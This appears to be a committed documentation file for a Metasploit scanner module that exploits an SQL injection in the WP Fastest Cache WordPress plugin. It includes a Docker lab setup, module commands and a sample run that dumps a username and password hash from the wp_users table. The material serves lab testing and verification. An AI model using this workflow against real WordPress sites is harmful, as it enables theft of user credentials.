|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +The vulnerability affects the **WP Fastest Cache** plugin, version **1.2.2** and below, allowing SQL injection via a multipart form. |
| 4 | + |
| 5 | +### Pre-requisites: |
| 6 | + - **Docker** and **Docker Compose** installed on your system. |
| 7 | + |
| 8 | +### Setup Instructions: |
| 9 | + |
| 10 | +1. **Download the Docker Compose file**: |
| 11 | + - Here is the content of the **docker-compose.yml** file to set up |
| 12 | + WordPress with the vulnerable WP Fastest Cache plugin and a MySQL database. |
| 13 | + |
| 14 | +```yaml |
| 15 | +version: '3.1' |
| 16 | + |
| 17 | +services: |
| 18 | + wordpress: |
| 19 | + image: wordpress:latest |
| 20 | + restart: always |
| 21 | + ports: |
| 22 | + - 5555:80 |
| 23 | + environment: |
| 24 | + WORDPRESS_DB_HOST: db |
| 25 | + WORDPRESS_DB_USER: chocapikk |
| 26 | + WORDPRESS_DB_PASSWORD: dummy_password |
| 27 | + WORDPRESS_DB_NAME: exploit_market |
| 28 | + mem_limit: 512m |
| 29 | + volumes: |
| 30 | + - wordpress:/var/www/html |
| 31 | + |
| 32 | + db: |
| 33 | + image: mysql:5.7 |
| 34 | + restart: always |
| 35 | + environment: |
| 36 | + MYSQL_DATABASE: exploit_market |
| 37 | + MYSQL_USER: chocapikk |
| 38 | + MYSQL_PASSWORD: dummy_password |
| 39 | + MYSQL_RANDOM_ROOT_PASSWORD: '1' |
| 40 | + volumes: |
| 41 | + - db:/var/lib/mysql |
| 42 | + |
| 43 | +volumes: |
| 44 | + wordpress: |
| 45 | + db: |
| 46 | +``` |
| 47 | +
|
| 48 | +2. **Start the Docker environment**: |
| 49 | + - In the directory where you saved the `docker-compose.yml` file, run the following command to start the services: |
| 50 | + |
| 51 | +```bash |
| 52 | +docker-compose up -d |
| 53 | +``` |
| 54 | + |
| 55 | +3. **Install WP Fastest Cache Plugin**: |
| 56 | + - Download the vulnerable version of WP Fastest Cache: |
| 57 | + |
| 58 | +```bash |
| 59 | +wget https://downloads.wordpress.org/plugin/wp-fastest-cache.1.2.1.zip |
| 60 | +``` |
| 61 | + |
| 62 | + - Install the plugin in your running WordPress instance: |
| 63 | + - Extract the plugin files and copy them to your WordPress container: |
| 64 | + |
| 65 | +```bash |
| 66 | +unzip wp-fastest-cache.1.2.1.zip |
| 67 | +docker cp wp-fastest-cache wordpress:/var/www/html/wp-content/plugins/ |
| 68 | +``` |
| 69 | + |
| 70 | + - Navigate to `http://localhost:5555/wp-admin` in your browser and activate the **WP Fastest Cache** plugin in the WordPress admin panel. |
| 71 | + |
| 72 | +4. **Enable Permalinks and Caching**: |
| 73 | + - Go to `Settings > Permalinks` in the WordPress dashboard and set permalinks to **Post name**. |
| 74 | + - Activate the caching feature in the WP Fastest Cache settings. |
| 75 | + |
| 76 | +## Verification Steps |
| 77 | + |
| 78 | +1. **Set up WordPress** with the vulnerable **WP Fastest Cache 1.2.1** plugin. |
| 79 | +2. **Start Metasploit** using the command `msfconsole`. |
| 80 | +3. Use the correct module for the vulnerability: |
| 81 | + |
| 82 | +```bash |
| 83 | + use auxiliary/scanner/http/wp_fastest_cache_sqli |
| 84 | +``` |
| 85 | + |
| 86 | +4. Set the target's IP and URI: |
| 87 | + |
| 88 | +```bash |
| 89 | + set RHOST <target_ip> |
| 90 | + set TARGETURI / |
| 91 | +``` |
| 92 | + |
| 93 | +5. **Run the module**: |
| 94 | + |
| 95 | +```bash |
| 96 | + run |
| 97 | +``` |
| 98 | + |
| 99 | +6. **Verify the SQL Injection**: |
| 100 | + - After running the module, the SQL injection payload will attempt to retrieve or manipulate data from the WordPress database. |
| 101 | + |
| 102 | +## Options |
| 103 | + |
| 104 | +### COUNT |
| 105 | +This option specifies the number of rows to retrieve from the database during the SQL injection attack. |
| 106 | +For example, setting `COUNT` to 5 will retrieve 5 rows from the `wp_users` table. |
| 107 | + |
| 108 | +## Scenarios |
| 109 | + |
| 110 | +The following scenario demonstrates an SQL injection attack against a WordPress |
| 111 | +installation running **WP Fastest Cache <= 1.2.1** on a Docker environment with MySQL. |
| 112 | + |
| 113 | +### Step-by-step Scenario |
| 114 | + |
| 115 | +```bash |
| 116 | +msf6 auxiliary(scanner/http/wp_fastest_cache_sqli) > run http://127.0.0.1:5555 |
| 117 | +
|
| 118 | +[*] Performing SQL injection via the 'wordpress_logged_in' cookie... |
| 119 | +[*] Enumerating Usernames and Password Hashes |
| 120 | +[*] {SQLi} Executing (select group_concat(chQnW) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) chQnW from wp_users limit 1) hsbomFD) |
| 121 | +[*] {SQLi} Encoded to (select group_concat(chQnW) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xe4,0)),ifnull(user_pass,repeat(0x57,0))) as binary) chQnW from wp_users limit 1) hsbomFD) |
| 122 | +[*] {SQLi} Time-based injection: expecting output of length 44 |
| 123 | +[+] Dumped table contents: |
| 124 | +wp_users |
| 125 | +======== |
| 126 | +
|
| 127 | + user_login user_pass |
| 128 | + ---------- --------- |
| 129 | + chocapikk $P$BPdY0XccQT2nvSXE8bjsn1CERoF7eJ. |
| 130 | +
|
| 131 | +[+] Loot saved to: /home/chocapikk/.msf4/loot/20240919001325_default_127.0.0.1_wordpress.users_514832.txt |
| 132 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 133 | +[*] Auxiliary module execution completed |
| 134 | +``` |
0 commit comments